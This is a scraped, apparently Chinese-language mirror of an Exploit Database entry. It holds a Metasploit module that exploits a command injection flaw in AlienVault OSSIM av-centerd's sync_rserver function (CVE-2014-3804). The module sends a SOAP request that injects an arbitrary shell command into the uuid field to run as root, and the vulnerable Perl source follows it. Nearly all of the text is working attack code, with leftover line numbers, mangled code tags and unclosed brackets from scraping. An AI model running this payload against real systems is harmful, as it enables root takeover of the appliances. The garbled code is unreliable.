Alienvault OSSIM av-centerd – Util.pm sync_rserver Command Execution (Metasploit)

Exploit Database
109 阅读

作者： James Fitts

日期： 2017-09-13
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/42708/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize

super(

'Name'=> 'Alienvault OSSIM av-centerd Util.pm sync_rserver Command Execution',

'Description' => %q{

This module exploits a command injection vulnerability found within the sync_rserver

function in Util.pm. The vulnerability is triggered due to an incomplete blacklist

during the parsing of the $uuid parameter. This allows for the escaping of a system

command allowing for arbitrary command execution as root

'References'=>

[

[ 'CVE', '2014-3804' ],

[ 'ZDI', '14-197' ],

[ 'URL', 'http://forums.alienvault.com/discussion/2690' ],

'Author'=> [ 'james fitts' ],

'License' => MSF_LICENSE,

'DisclosureDate' => 'Jun 11 2014')

register_options([

Opt::RPORT(40007),

OptBool.new('SSL', [true, 'Use SSL', true]),

OptString.new('CMD', [ false, 'This is the file to download', 'touch /tmp/file.txt'])

], self.class)

end

def run

soap ="<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n"

soap += "<soap:Envelope xmlns:soap=\"http:\/\/schemas.xmlsoap.org/soap/envelope/\"\r\n"

soap += "xmlns:soapenc=\"http:\/\/schemas.xmlsoap.org\/soap\/encoding/\" xmlns:xsd=\"http:\/\/www.w3.org\/2001\/XMLSchema\"\r\n"

soap += "xmlns:xsi=\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\"\r\n"

soap += "soap:encodingStyle=\"http:\/\/schemas.xmlsoap.org\/soap\/encoding\/\">\r\n"

soap += "<soap:Body>\r\n"

soap += "<sync_rserver xmlns=\"AV\/CC\/Util\">\r\n"

soap += "<c-gensym3 xsi:type=\"xsd:string\">All</c-gensym3>\r\n"

soap += "<c-gensym5 xsi:type=\"xsd:string\">& #{datastore['CMD']} </c-gensym5>\r\n"

soap += "<c-gensym7 xsi:type=\"xsd:string\">#{datastore['RHOST']}</c-gensym7>\r\n"

soap += "<c-gensym9 xsi:type=\"xsd:string\">#{Rex::Text.rand_text_alpha(4 + rand(4))}</c-gensym9>\r\n"

soap += "</sync_rserver>\r\n"

soap += "</soap:Body>\r\n"

soap += "</soap:Envelope>\r\n"

res = send_request_cgi(

{

'uri' => '/av-centerd',

'method' => 'POST',

'ctype' => 'text/xml; charset=UTF-8',

'data' => soap,

'headers' => {

'SOAPAction' => "\"AV/CC/Util#sync_rserver\""

}

}, 20)

if res && res.code == 200

print_good("Command executed successfully!")

else

print_bad("Something went wrong...")

end

__END__

/usr/share/alienvault-center/lib/AV/CC/Util.pm

sub sync_rserver

{

my ( $funcion_llamada, $nombre, $uuid, $admin_ip, $hostname ) = @_;

verbose_log_file(

"SYNC RSERVER TASK : Received call from $uuid : ip source = $admin_ip, hostname = $hostname:($funcion_llamada,$nombre)"

);

if ($uuid =~/[;<code>\$\<\>\|]/) {

console_log_file("Not allowed uuid: $uuid in sync_rserver\n");

my @ret = ("Error");

return \@ret;

}

my $conn = Avtools::get_database();

my $sqlfile = "/tmp/sync_${uuid}.sql";

my $sqlfile_old = "/tmp/sync_${uuid}.sql.old";

my $sqlfile_md5 = </code>md5sum $sqlfile | awk '{print \$1}'<code>;

my $sqlfile_content;

my $status = 1;

my $counter = 0;

my @ret;

my $query = qq{};

my $dbq;

if ( -f $sqlfile_old )

{

my $sqlfile_old_md5 = </code>md5sum $sqlfile_old | awk '{print \$1}'<code>;

debug_log_file ("Old MD5: $sqlfile_old_md5 New MD5: $sqlfile_md5");

if ( $sqlfile_md5 eq $sqlfile_old_md5 )

{

unlink $sqlfile;

verbose_log_file ("Already sync'ed!");

return "0";

}

else

{

unlink $sqlfile_old;

}

my $query_array = </code>ossim-db < $sqlfile 2>&1`;

$query_array =~ s/[\s\n]+$//g;

if ($query_array ne '')

{

$status = $query_array;

}

else

{

$status = 0;

}

if ( ! (defined $status) or $status == 0 )

{

if ( grep /RESTART\sOSSIM\-SERVER/, $sqlfile )

{

verbose_log_file("RESTART OSSIM-SERVER MARK found. Restarting ossim-server");

system('/etc/init.d/ossim-server restart');

}

else

{

debug_log_file("RESTART OSSIM-SERVER MARK not found. Skipping ossim-server restart");

}

$query = qq{REPLACE INTO alienvault.config (conf, value) VALUES ('latest_asset_change', utc_timestamp())};

debug_log_file($query);

$dbq = $conn->prepare($query);

$dbq->execute();

$dbq->finish();

}

else

{

verbose_log_file ("Error syncing rservers: ${status}");

}

debug_log_file("Move file: $sqlfile");

move ($sqlfile, $sqlfile . ".old");

#push @ret, "0";

return "0";

}